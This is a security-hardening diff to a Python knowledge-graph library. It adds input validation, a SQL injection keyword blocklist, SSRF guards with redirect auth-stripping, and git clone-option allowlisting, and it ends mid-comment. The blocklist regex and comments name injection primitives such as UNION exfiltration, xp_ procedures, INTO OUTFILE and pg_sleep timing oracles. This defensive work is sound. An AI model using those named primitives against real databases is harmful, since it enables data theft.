self.progress_tracker.stop_tracking(
|
||||
tracking_id,
|
||||
status="completed",
|
||||
message=f"Exported YAML to: {file_path}",
|
||||
)
|
||||
|
||||
except Exception as e:
|
||||
self.progress_tracker.stop_tracking(
|
||||
tracking_id, status="failed", message=str(e)
|
||||
)
|
||||
raise
|
||||
|
||||
def export_entities(
|
||||
self, entities: List[Dict[str, Any]], include_metadata: bool = True, **options
|
||||
@@ -186,7 +309,7 @@ class SemanticNetworkYAMLExporter:
|
||||
|
||||
if include_metadata:
|
||||
yaml_data["metadata"] = {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
"entity_count": len(entities),
|
||||
}
|
||||
|
||||
@@ -210,7 +333,7 @@ class SemanticNetworkYAMLExporter:
|
||||
|
||||
if include_properties:
|
||||
yaml_data["metadata"] = {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
"relationship_count": len(relationships),
|
||||
}
|
||||
|
||||
@@ -247,7 +370,7 @@ class SemanticNetworkYAMLExporter:
|
||||
}
|
||||
|
||||
yaml_data["metadata"] = {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
"triplet_count": len(triplets),
|
||||
}
|
||||
|
||||
@@ -263,18 +386,34 @@ class SemanticNetworkYAMLExporter:
|
||||
• Structure for definition generation
|
||||
• Include extraction metadata
|
||||
• Return pipeline-ready YAML
|
||||
|
||||
Args:
|
||||
extracted_data: Semantic network mapping, read through
|
||||
:func:`~semantica.utils.helpers.normalize_graph_payload` on
|
||||
the same terms as :meth:`export_semantic_network`.
|
||||
pipeline_stage: Stage number recorded in the output.
|
||||
**options: Additional export options (unused)
|
||||
|
||||
Returns:
|
||||
Pipeline-ready YAML string.
|
||||
|
||||
Raises:
|
||||
ProcessingError: if ``extracted_data`` is not a mapping.
|
||||
ValidationError: on the same mappings as
|
||||
:meth:`export_semantic_network` -- this method built its
|
||||
nested semantic network from the same defaulted lookups and
|
||||
so had the same silent-empty failure.
|
||||
"""
|
||||
_require_mapping(extracted_data, ("entities", "relationships", "triplets"))
|
||||
|
||||
semantic_network = normalize_graph_payload(extracted_data)
|
||||
yaml_data = {
|
||||
"pipeline_stage": pipeline_stage,
|
||||
"metadata": {
|
||||
"extracted_at": datetime.now().isoformat(),
|
||||
"extracted_at": utc_now_iso(),
|
||||
**extracted_data.get("metadata", {}),
|
||||
},
|
||||
"semantic_network": {
|
||||
"entities": extracted_data.get("entities", []),
|
||||
"relationships": extracted_data.get("relationships", []),
|
||||
"triplets": extracted_data.get("triplets", []),
|
||||
},
|
||||
"semantic_network": semantic_network,
|
||||
}
|
||||
|
||||
return self.yaml.dump(yaml_data, default_flow_style=False, sort_keys=False)
|
||||
@@ -308,7 +447,29 @@ class YAMLSchemaExporter:
|
||||
• Include hierarchies and constraints
|
||||
• Structure for easy editing
|
||||
• Return YAML schema
|
||||
|
||||
Args:
|
||||
ontology: Ontology mapping keyed by any of 'classes',
|
||||
'properties', 'namespaces', 'uri', 'title', 'description',
|
||||
'version'.
|
||||
**options: Additional export options (unused)
|
||||
|
||||
Returns:
|
||||
YAML schema string.
|
||||
|
||||
Raises:
|
||||
ProcessingError: if ``ontology`` is not a mapping.
|
||||
ValidationError: if ``ontology`` is a non-empty mapping sharing
|
||||
no key with the recognized set, or resolves to nothing while
|
||||
an unread key still holds records
|
||||
(``{"classes": [], "nodes": [...]}``) -- each previously
|
||||
produced a file with empty 'classes', 'properties' and
|
||||
'namespaces' and no indication anything was dropped. An empty
|
||||
mapping is still accepted.
|
||||
"""
|
||||
_require_mapping(ontology, ("classes", "properties"))
|
||||
_require_usable_schema(ontology)
|
||||
|
||||
yaml_data = {
|
||||
"ontology": {
|
||||
"uri": ontology.get("uri", ""),
|
||||
|
||||
@@ -66,6 +66,12 @@ except (ImportError, OSError):
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# create_index's index_type reaches a raw SQL keyword position (`USING
|
||||
# {index_type}`) that can't be bound as a query parameter; only the
|
||||
# documented, PostgreSQL-recognized types are allowed through.
|
||||
_ALLOWED_INDEX_TYPES = frozenset({"btree", "gin", "hash", "gist", "brin"})
|
||||
|
||||
|
||||
def _sanitize_label(label: str) -> str:
|
||||
"""
|
||||
Sanitize a Cypher label to prevent injection.
|
||||
@@ -1214,6 +1220,11 @@ class ApacheAgeStore:
|
||||
safe_label = _sanitize_label(label)
|
||||
if not re.match(r"^[A-Za-z_][A-Za-z0-9_]*$", property_name):
|
||||
raise ValidationError(f"Invalid property name: '{property_name}'")
|
||||
if index_type not in _ALLOWED_INDEX_TYPES:
|
||||
raise ValidationError(
|
||||
f"Invalid index_type: {index_type!r}. "
|
||||
f"Allowed: {sorted(_ALLOWED_INDEX_TYPES)}"
|
||||
)
|
||||
|
||||
index_name = options.get(
|
||||
"index_name", f"idx_{self.graph_name}_{safe_label}_{property_name}"
|
||||
|
||||
@@ -503,6 +503,16 @@ class Neo4jStore:
|
||||
Returns:
|
||||
List of matching nodes
|
||||
"""
|
||||
# LIMIT can't be bound as a query parameter in a way Neo4j accepts
|
||||
# here, so it's interpolated directly; validate explicitly rather
|
||||
# than trust the `limit: int` type hint, which Python doesn't
|
||||
# enforce at runtime. Done outside the try/except below so a bad
|
||||
# limit raises ValidationError, not a generic ProcessingError.
|
||||
try:
|
||||
limit = int(limit)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ValidationError(f"Invalid limit: {limit!r}") from exc
|
||||
|
||||
try:
|
||||
# Build query
|
||||
if labels:
|
||||
@@ -698,6 +708,15 @@ class Neo4jStore:
|
||||
Returns:
|
||||
List of matching relationships
|
||||
"""
|
||||
# See get_nodes: LIMIT is interpolated directly, so validate
|
||||
# explicitly rather than trust the unenforced `limit: int` hint,
|
||||
# outside the try/except below so a bad limit raises
|
||||
# ValidationError, not a generic ProcessingError.
|
||||
try:
|
||||
limit = int(limit)
|
||||
except (TypeError, ValueError) as exc:
|
||||
raise ValidationError(f"Invalid limit: {limit!r}") from exc
|
||||
|
||||
try:
|
||||
type_filter = f":{sanitize_identifier(rel_type, 'relationship type')}" if rel_type else ""
|
||||
|
||||
|
||||
@@ -29,6 +29,7 @@ License: MIT
|
||||
"""
|
||||
|
||||
import json
|
||||
import re
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
from typing import Any, Dict, List, Optional
|
||||
@@ -38,6 +39,96 @@ from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
_IDENTIFIER_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*$")
|
||||
|
||||
# Fragments that turn a filter/order clause into a second statement, a
|
||||
# data-exfiltration UNION, a time-based blind-injection oracle, or schema
|
||||
# enumeration, rather than a boolean/ordering expression.
|
||||
_SQL_FRAGMENT_BLOCKLIST_RE = re.compile(
|
||||
r";|--|/\*|\*/|\bunion\b|\binsert\b|\bupdate\b|\bdelete\b|\bdrop\b|"
|
||||
r"\balter\b|\bcreate\b|\bexec\b|\bexecute\b|\bgrant\b|\brevoke\b|"
|
||||
r"\battach\b|\bpragma\b|\bxp_\w+|\bsp_\w+|\binto\s+outfile\b|\bload_file\b|"
|
||||
r"\bsleep\s*\(|\bbenchmark\s*\(|\bpg_sleep\s*\(|\bwaitfor\b|"
|
||||
r"\bdbms_\w+|\butl_\w+|\binformation_schema\b|\bpg_catalog\b",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
|
||||
# SQL single-quoted string literals ('' is the standard escaped-quote) and
|
||||
# double-quoted identifiers ("" likewise) — matched only when properly
|
||||
# closed, so a malformed/unterminated quote sequence is left alone and
|
||||
# still hits the blocklist above rather than being treated as "inside a
|
||||
# literal" and skipped.
|
||||
_SQL_STRING_LITERAL_RE = re.compile(r"'(?:[^']|'')*'")
|
||||
_SQL_QUOTED_IDENTIFIER_RE = re.compile(r'"(?:[^"]|"")*"')
|
||||
|
||||
|
||||
def _mask_sql_literals(fragment: str) -> str:
|
||||
"""Blank the contents of quoted literals so they can't trip the blocklist.
|
||||
|
||||
A legitimate value or quoted identifier that happens to contain a
|
||||
blocked word or character as *data* — e.g. ``status = 'union'`` or
|
||||
``"my--column" = 1`` — is not SQL syntax and shouldn't be rejected as
|
||||
if it were. Only the quoted span's interior is replaced (with `?`,
|
||||
keeping the surrounding quotes and the fragment's length/positions
|
||||
intact for the error message); text outside any properly closed quote
|
||||
is passed through unchanged and still fully scrutinized.
|
||||
"""
|
||||
fragment = _SQL_STRING_LITERAL_RE.sub(
|
||||
lambda m: "'" + "?" * (len(m.group(0)) - 2) + "'", fragment
|
||||
)
|
||||
fragment = _SQL_QUOTED_IDENTIFIER_RE.sub(
|
||||
lambda m: '"' + "?" * (len(m.group(0)) - 2) + '"', fragment
|
||||
)
|
||||
return fragment
|
||||
|
||||
|
||||
def _validate_sql_identifier(name: str, kind: str) -> str:
|
||||
"""Validate a table/schema name used as a raw SQL identifier.
|
||||
|
||||
``export_table_data`` interpolates *name* directly into the query text
|
||||
(SQLAlchemy has no bind-parameter syntax for identifiers), so anything
|
||||
outside a plain alphanumeric/underscore identifier is a potential
|
||||
breakout of the surrounding ``"..."`` quoting.
|
||||
"""
|
||||
if not isinstance(name, str) or not _IDENTIFIER_RE.match(name):
|
||||
raise ValidationError(
|
||||
f"Invalid {kind}: {name!r}. Must start with a letter or "
|
||||
"underscore and contain only alphanumeric characters and "
|
||||
"underscores."
|
||||
)
|
||||
return name
|
||||
|
||||
|
||||
def _validate_sql_fragment(fragment: str, kind: str) -> str:
|
||||
"""Reject WHERE/ORDER BY fragments that smuggle a second statement.
|
||||
|
||||
These clauses can't be bound as query parameters (they're arbitrary
|
||||
boolean/ordering expressions, not values), so this blocks the concrete
|
||||
injection primitives (statement separators, comments, UNION, DML/DDL
|
||||
keywords, time-based blind oracles, schema enumeration) rather than
|
||||
parameterizing.
|
||||
|
||||
This is a blocklist, not a grammar: it cannot exhaustively prove
|
||||
*fragment* is safe, only reject known-dangerous constructs, so a
|
||||
boolean-blind subquery expressed with none of the blocked keywords
|
||||
(e.g. ``id = (SELECT 1 FROM t WHERE ...)``) still passes. ``where``/
|
||||
``order_by`` are a raw-SQL-fragment API by design (see
|
||||
``export_table_data``'s docstring); treat them as trusted/operator
|
||||
input, not something to expose directly to untrusted end users.
|
||||
"""
|
||||
if not isinstance(fragment, str):
|
||||
raise ValidationError(f"Invalid {kind}: must be a string")
|
||||
# Check the blocklist against literal-masked text so a blocked word
|
||||
# appearing only as quoted data (not as SQL syntax) doesn't false-
|
||||
# positive; the original, unmodified fragment is still what's returned
|
||||
# and used in the query.
|
||||
if _SQL_FRAGMENT_BLOCKLIST_RE.search(_mask_sql_literals(fragment)):
|
||||
raise ValidationError(
|
||||
f"Invalid {kind}: {fragment!r} contains disallowed SQL "
|
||||
"keywords or statement-boundary characters"
|
||||
)
|
||||
return fragment
|
||||
|
||||
|
||||
@dataclass
|
||||
class TableData:
|
||||
@@ -253,8 +344,13 @@ class DataExporter:
|
||||
schema: Schema name (for databases with schema support, optional)
|
||||
limit: Maximum number of rows to export (optional)
|
||||
offset: Row offset for pagination (optional)
|
||||
where: WHERE clause for filtering (optional, e.g., "age > 18")
|
||||
order_by: ORDER BY clause for sorting (optional, e.g., "name ASC")
|
||||
where: WHERE clause for filtering (optional, e.g., "age > 18").
|
||||
Raw SQL, checked against a keyword/character blocklist (see
|
||||
``_validate_sql_fragment``) but not fully sanitized — treat
|
||||
as trusted/operator input, never pass untrusted end-user
|
||||
text here directly.
|
||||
order_by: ORDER BY clause for sorting (optional, e.g., "name ASC").
|
||||
Same trust requirement as ``where``.
|
||||
**options: Additional export options (unused)
|
||||
|
||||
Returns:
|
||||
@@ -269,7 +365,16 @@ class DataExporter:
|
||||
ProcessingError: If table export fails
|
||||
"""
|
||||
try:
|
||||
from sqlalchemy import inspect
|
||||
from sqlalchemy import inspect, text
|
||||
|
||||
_validate_sql_identifier(table_name, "table_name")
|
||||
if schema:
|
||||
_validate_sql_identifier(schema, "schema")
|
||||
if where:
|
||||
_validate_sql_fragment(where, "where")
|
||||
if order_by:
|
||||
_validate_sql_fragment(order_by, "order_by")
|
||||
|
||||
inspector = inspect(connection)
|
||||
|
||||
# Get column information
|
||||
@@ -344,6 +449,8 @@ class DataExporter:
|
||||
schema=schema,
|
||||
)
|
||||
|
||||
except ValidationError:
|
||||
raise
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to export table {table_name}: {e}")
|
||||
raise ProcessingError(f"Failed to export table: {e}") from e
|
||||
@@ -760,8 +867,11 @@ class DBIngestor:
|
||||
schema: Schema name (for databases with schema support, optional)
|
||||
limit: Maximum number of rows to export (optional)
|
||||
offset: Row offset for pagination (optional)
|
||||
where: WHERE clause for filtering (optional, e.g., "status = 'active'")
|
||||
order_by: ORDER BY clause for sorting (optional, e.g., "created_at DESC")
|
||||
where: WHERE clause for filtering (optional, e.g., "status = 'active'").
|
||||
Raw SQL passed through to ``export_table_data`` — same trust
|
||||
requirement documented there: not for untrusted end-user text.
|
||||
order_by: ORDER BY clause for sorting (optional, e.g., "created_at DESC").
|
||||
Same trust requirement as ``where``.
|
||||
transform: Whether to apply data transformations (default: False)
|
||||
**filters: Additional filtering options (merged with above parameters)
|
||||
|
||||
|
||||
@@ -42,6 +42,7 @@ from bs4 import BeautifulSoup
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .ssrf import parse_bool, request_with_ssrf_guard
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -425,6 +426,9 @@ class FeedMonitor:
|
||||
self.thread: Optional[threading.Thread] = None
|
||||
self.update_callback: Optional[callable] = None
|
||||
self.check_interval = config.get("check_interval", 3600) # Default 1 hour
|
||||
self.allow_private_ips = parse_bool(
|
||||
config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
def add_feed(self, feed_url: str, **options):
|
||||
"""
|
||||
@@ -485,7 +489,12 @@ class FeedMonitor:
|
||||
|
||||
try:
|
||||
# Fetch feed
|
||||
response = requests.get(feed_url, timeout=30)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse feed
|
||||
@@ -575,6 +584,9 @@ class FeedIngestor:
|
||||
self.logger = get_logger("feed_ingestor")
|
||||
self.config = config or {}
|
||||
self.config.update(kwargs)
|
||||
self.allow_private_ips = parse_bool(
|
||||
self.config.get("allow_private_ips"), default=False
|
||||
)
|
||||
|
||||
# Initialize feed parser
|
||||
self.parser = FeedParser(**self.config)
|
||||
@@ -638,7 +650,12 @@ class FeedIngestor:
|
||||
request_timeout = timeout or options.get(
|
||||
"timeout", self.config.get("timeout", 30)
|
||||
)
|
||||
response = requests.get(feed_url, timeout=request_timeout)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=request_timeout,
|
||||
)
|
||||
response.raise_for_status()
|
||||
self.logger.debug(
|
||||
f"Fetched feed from {feed_url}: {len(response.text)} bytes"
|
||||
@@ -693,7 +710,12 @@ class FeedIngestor:
|
||||
|
||||
try:
|
||||
# Fetch website content
|
||||
response = requests.get(website_url, timeout=30)
|
||||
response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
website_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=30,
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
# Parse HTML
|
||||
@@ -723,7 +745,12 @@ class FeedIngestor:
|
||||
for path in common_paths:
|
||||
try:
|
||||
feed_url = urljoin(website_url, path)
|
||||
test_response = requests.head(feed_url, timeout=10)
|
||||
test_response = request_with_ssrf_guard(
|
||||
"HEAD",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=10,
|
||||
)
|
||||
if test_response.status_code == 200:
|
||||
content_type = test_response.headers.get("Content-Type", "")
|
||||
if (
|
||||
@@ -741,7 +768,12 @@ class FeedIngestor:
|
||||
for feed_url in feed_urls:
|
||||
try:
|
||||
# Quick validation by fetching feed
|
||||
test_response = requests.get(feed_url, timeout=10)
|
||||
test_response = request_with_ssrf_guard(
|
||||
"GET",
|
||||
feed_url,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
timeout=10,
|
||||
)
|
||||
if test_response.status_code == 200:
|
||||
validated_feeds.append(feed_url)
|
||||
except Exception:
|
||||
|
||||
@@ -41,6 +41,7 @@ from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from .ssrf import request_with_ssrf_guard
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -341,36 +342,38 @@ class MCPClient:
|
||||
raise
|
||||
|
||||
def _send_request_http(self, request: Dict[str, Any]) -> Optional[Dict[str, Any]]:
|
||||
"""Send request via HTTP."""
|
||||
try:
|
||||
import httpx
|
||||
"""Send request via HTTP, with redirect-safe credential handling.
|
||||
|
||||
response = httpx.post(
|
||||
Uses ``request_with_ssrf_guard`` so that:
|
||||
|
||||
* ``Authorization`` / ``Proxy-Authorization`` headers are **not**
|
||||
forwarded to a different origin if the MCP server issues a redirect
|
||||
(issue #947).
|
||||
* The redirect chain is bounded (default 10 hops).
|
||||
|
||||
``allow_private_ips=True`` is set because MCP servers are explicitly
|
||||
configured by the operator and frequently run on localhost or an
|
||||
internal network — the same trust model as ``allow_private_ips`` opt-in
|
||||
in the other ingestors. That trust covers only ``self.url`` itself:
|
||||
``allow_private_ips_on_redirect=False`` keeps redirect targets held to
|
||||
the normal public-address check, so a compromised or malicious MCP
|
||||
server cannot use a redirect to route the client into private/
|
||||
internal address space (e.g. cloud metadata) that the operator never
|
||||
configured. Scheme validation (http/https only) and the
|
||||
auth-stripping logic remain active regardless of these flags.
|
||||
"""
|
||||
try:
|
||||
response = request_with_ssrf_guard(
|
||||
"POST",
|
||||
self.url,
|
||||
json=request,
|
||||
headers=self.headers,
|
||||
json=request,
|
||||
timeout=self.config.get("timeout", 30.0),
|
||||
allow_private_ips=True,
|
||||
allow_private_ips_on_redirect=False,
|
||||
)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
except (ImportError, OSError):
|
||||
# Fallback to requests if httpx not available
|
||||
try:
|
||||
import requests
|
||||
|
||||
response = requests.post(
|
||||
self.url,
|
||||
json=request,
|
||||
headers=self.headers,
|
||||
timeout=self.config.get("timeout", 30.0),
|
||||
)
|
||||
response.raise_for_status()
|
||||
return response.json()
|
||||
except (ImportError, OSError):
|
||||
raise ProcessingError(
|
||||
"HTTP transport requires 'httpx' or 'requests' package. "
|
||||
"Install with: pip install httpx or pip install requests"
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.error(f"Failed to send HTTP request: {e}")
|
||||
raise
|
||||
|
||||
@@ -174,6 +174,7 @@ Example Usage:
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING, Any, Callable, Dict, List, Optional, Union
|
||||
|
||||
@@ -183,6 +184,14 @@ from .config import ingest_config
|
||||
from .file_ingestor import FileIngestor, FileObject
|
||||
from .registry import method_registry
|
||||
|
||||
# SCP-like SSH remotes (user@host:path) — keep in sync with repo_ingestor
|
||||
_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
|
||||
|
||||
|
||||
def _is_scp_like_repo_source(source: str) -> bool:
|
||||
"""Return True for scp-like SSH remotes (``user@host:path``)."""
|
||||
return bool(_SCP_LIKE_REPO_URL_RE.match(source.strip()))
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from .api_ingestor import APIData
|
||||
from .arrow_ingestor import ArrowData
|
||||
@@ -880,7 +889,10 @@ def ingest_repository(
|
||||
|
||||
if method == "clone" or (
|
||||
isinstance(source, str)
|
||||
and source.startswith(("http://", "https://", "git@"))
|
||||
and (
|
||||
source.startswith(("http://", "https://"))
|
||||
or _is_scp_like_repo_source(source)
|
||||
)
|
||||
):
|
||||
return ingestor.ingest_repository(source, **kwargs)
|
||||
elif method == "analyze":
|
||||
@@ -1336,7 +1348,7 @@ def ingest(
|
||||
("postgresql://", "mysql://", "sqlite://", "oracle://", "mssql://")
|
||||
):
|
||||
source_type = "db"
|
||||
elif source_str.startswith("git@") or source_str_lower.startswith(
|
||||
elif _is_scp_like_repo_source(source_str) or source_str_lower.startswith(
|
||||
("https://github.com", "https://gitlab.com")
|
||||
):
|
||||
source_type = "repo"
|
||||
|
||||
@@ -45,6 +45,7 @@ except ModuleNotFoundError: # pragma: no cover - fallback for minimal installs
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from .api_ingestor import APIData, RESTIngestor
|
||||
from .ssrf import request_with_ssrf_guard
|
||||
|
||||
AUTH_HEADER_NAMES = {
|
||||
"authorization",
|
||||
@@ -359,18 +360,31 @@ class PublicAPIIngestor(RESTIngestor):
|
||||
request_options = options.copy()
|
||||
timeout = request_options.pop("timeout", self.config.get("timeout", 30))
|
||||
rate_limit_delay = request_options.pop("rate_limit_delay", None)
|
||||
# session and allow_private_ips are always supplied explicitly below;
|
||||
# drop any caller-provided copies so request_with_ssrf_guard() does
|
||||
# not receive duplicate keyword arguments.
|
||||
request_options.pop("session", None)
|
||||
request_options.pop("allow_private_ips", None)
|
||||
request_headers = self._merged_headers(headers)
|
||||
|
||||
try:
|
||||
self._wait_if_needed(rate_limit_delay=rate_limit_delay)
|
||||
response = self.session.request(
|
||||
method=method,
|
||||
url=endpoint,
|
||||
# Route through the SSRF guard so that:
|
||||
# * redirects to private/loopback IPs are blocked, and
|
||||
# * Authorization / Proxy-Authorization are stripped on
|
||||
# cross-origin redirects (issue #947).
|
||||
response = request_with_ssrf_guard(
|
||||
method,
|
||||
endpoint,
|
||||
session=self.session,
|
||||
headers=request_headers,
|
||||
params=params,
|
||||
timeout=timeout,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
**request_options,
|
||||
)
|
||||
except (ValidationError, ProcessingError):
|
||||
raise
|
||||
except requests.exceptions.RequestException as exc:
|
||||
self.logger.error(f"Failed to detect public API {endpoint}: {exc}")
|
||||
raise ProcessingError(f"Failed to detect public API: {exc}") from exc
|
||||
@@ -440,18 +454,30 @@ class PublicAPIIngestor(RESTIngestor):
|
||||
|
||||
request_options = options.copy()
|
||||
timeout = request_options.pop("timeout", self.config.get("timeout", 30))
|
||||
# session and allow_private_ips are always supplied explicitly below;
|
||||
# drop any caller-provided copies so request_with_ssrf_guard() does
|
||||
# not receive duplicate keyword arguments.
|
||||
request_options.pop("session", None)
|
||||
request_options.pop("allow_private_ips", None)
|
||||
request_headers = self._merged_headers(headers)
|
||||
|
||||
try:
|
||||
self._wait_if_needed(rate_limit_delay=rate_limit_delay)
|
||||
response = self.session.request(
|
||||
method=method,
|
||||
url=endpoint,
|
||||
# Route through the SSRF guard so that:
|
||||
# * redirects to private/loopback IPs are blocked, and
|
||||
# * Authorization / Proxy-Authorization are stripped on
|
||||
# cross-origin redirects even when validate_no_auth=False
|
||||
# (issue #947).
|
||||
response = request_with_ssrf_guard(
|
||||
method,
|
||||
endpoint,
|
||||
session=self.session,
|
||||
headers=request_headers,
|
||||
params=params,
|
||||
data=data,
|
||||
json=json_data,
|
||||
timeout=timeout,
|
||||
allow_private_ips=self.allow_private_ips,
|
||||
**request_options,
|
||||
)
|
||||
|
||||
|
||||
@@ -29,14 +29,20 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
import ipaddress
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import tempfile
|
||||
import threading
|
||||
import time
|
||||
from collections import OrderedDict
|
||||
from dataclasses import dataclass, field
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional
|
||||
from typing import Any, Dict, List, Optional, Set, Tuple, Union
|
||||
from urllib.parse import urlparse
|
||||
|
||||
import git
|
||||
|
||||
@@ -44,6 +50,33 @@ from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
# Safe subset of GitPython clone_from kwargs. Broader kwargs (multi_options,
|
||||
# upload_pack, template, config, env, …) have been used in denylist-bypass
|
||||
# attacks against older GitPython releases — keep them out of the call surface.
|
||||
ALLOWED_CLONE_OPTIONS: Set[str] = {"depth", "branch", "single_branch", "no_tags"}
|
||||
ALLOWED_REPO_URL_SCHEMES = frozenset({"https", "http", "git", "ssh"})
|
||||
# SCP-like SSH remotes: user@host:path/to/repo.git (no scheme)
|
||||
_SCP_LIKE_REPO_URL_RE = re.compile(r"^[^@\s]+@[^:\s]+:.+$")
|
||||
_ENV_VAR_TOKEN_RE = re.compile(
|
||||
r"\$(\{[A-Za-z_][A-Za-z0-9_]*\}|[A-Za-z_][A-Za-z0-9_]*)"
|
||||
)
|
||||
# Short-lived DNS cache for host validation. This reduces repeated lookups but
|
||||
# does not eliminate DNS-rebinding / TOCTOU races between validate and clone —
|
||||
# network egress controls remain recommended.
|
||||
_REPO_HOST_RESOLVE_CACHE: "OrderedDict[str, Tuple[float, Tuple[str, ...]]]" = (
|
||||
OrderedDict()
|
||||
)
|
||||
_REPO_HOST_RESOLVE_CACHE_TTL_SECONDS = 60.0
|
||||
_REPO_HOST_RESOLVE_CACHE_MAX_ENTRIES = 1024
|
||||
# Guards all reads/writes/prunes of _REPO_HOST_RESOLVE_CACHE. The cache is a
|
||||
# module-level OrderedDict shared by every RepoIngestor instance and every
|
||||
# thread; without a lock, concurrent ingest_repository() calls can mutate the
|
||||
# dict while another thread is iterating it (e.g. during pruning), raising
|
||||
# "RuntimeError: OrderedDict mutated during iteration". The blocking
|
||||
# socket.getaddrinfo() call is intentionally kept outside this lock so a slow
|
||||
# DNS lookup for one host cannot stall cache access for other hosts.
|
||||
_REPO_HOST_RESOLVE_CACHE_LOCK = threading.Lock()
|
||||
|
||||
|
||||
@dataclass
|
||||
class CodeFile:
|
||||
@@ -509,6 +542,287 @@ class RepoIngestor:
|
||||
|
||||
self.logger.debug("Repo ingestor initialized")
|
||||
|
||||
@staticmethod
|
||||
def _is_scp_like_repo_url(repo_url: str) -> bool:
|
||||
"""Return True for scp-like SSH remotes (``user@host:path``)."""
|
||||
url = repo_url.strip()
|
||||
# Avoid treating scheme URLs with userinfo as scp-like (e.g. https://u@h/...)
|
||||
if "://" in url:
|
||||
return False
|
||||
return bool(_SCP_LIKE_REPO_URL_RE.match(url))
|
||||
|
||||
@staticmethod
|
||||
def _scp_like_host(repo_url: str) -> str:
|
||||
"""Extract the hostname from an scp-like remote (``user@host:path``)."""
|
||||
_, rest = repo_url.strip().split("@", 1)
|
||||
host, _ = rest.split(":", 1)
|
||||
return host
|
||||
|
||||
@staticmethod
|
||||
def _normalize_repo_url(repo_url: str) -> str:
|
||||
"""Normalize scp-like remotes to ``ssh://`` URLs; leave others unchanged.
|
||||
|
||||
``git@host:org/repo.git`` → ``ssh://git@host/org/repo.git``
|
||||
"""
|
||||
url = repo_url.strip()
|
||||
if not RepoIngestor._is_scp_like_repo_url(url):
|
||||
return url
|
||||
user_host, path = url.split(":", 1)
|
||||
if not path.startswith("/"):
|
||||
path = f"/{path}"
|
||||
return f"ssh://{user_host}{path}"
|
||||
|
||||
@staticmethod
|
||||
def _is_blocked_ip(
|
||||
ip: Union[ipaddress.IPv4Address, ipaddress.IPv6Address],
|
||||
) -> bool:
|
||||
"""Return True if *ip* is an SSRF-sensitive address.
|
||||
|
||||
Blocks private (RFC1918/ULA), loopback, link-local (including
|
||||
169.254.x.x / fe80::/10 cloud-metadata ranges), and unspecified
|
||||
addresses.
|
||||
|
||||
Intentionally does **not** use ``ip.is_reserved``: Python's
|
||||
``ipaddress`` module marks the NAT64 Well-Known Prefix
|
||||
(64:ff9b::/96, RFC 6052) as reserved, which causes false positives
|
||||
on IPv6-only and dual-stack networks that use NAT64 for public
|
||||
Internet access (e.g., github.com resolves to 64:ff9b::… on such
|
||||
networks). Those addresses are not SSRF-sensitive.
|
||||
"""
|
||||
return bool(
|
||||
ip.is_private
|
||||
or ip.is_loopback
|
||||
or ip.is_link_local
|
||||
or ip.is_unspecified
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def _resolve_repo_host_ips(host: str) -> Tuple[str, ...]:
|
||||
"""Resolve *host* to IP strings via ``socket.getaddrinfo``, with TTL cache.
|
||||
|
||||
Note: caching and pre-clone resolution mitigate repeated lookups but
|
||||
cannot fully prevent DNS rebinding between validation and clone.
|
||||
Prefer network-layer egress controls for defense in depth.
|
||||
"""
|
||||
cache_key = host.lower().rstrip(".")
|
||||
now = time.monotonic()
|
||||
with _REPO_HOST_RESOLVE_CACHE_LOCK:
|
||||
RepoIngestor._prune_repo_host_resolve_cache_locked(now)
|
||||
cached = _REPO_HOST_RESOLVE_CACHE.get(cache_key)
|
||||
if cached is not None:
|
||||
expires_at, ips = cached
|
||||
if now < expires_at:
|
||||
_REPO_HOST_RESOLVE_CACHE.move_to_end(cache_key)
|
||||
return ips
|
||||
_REPO_HOST_RESOLVE_CACHE.pop(cache_key, None)
|
||||
|
||||
# DNS resolution is blocking I/O; keep it outside the lock so a slow
|
||||
# or hanging lookup for one host cannot stall cache access for
|
||||
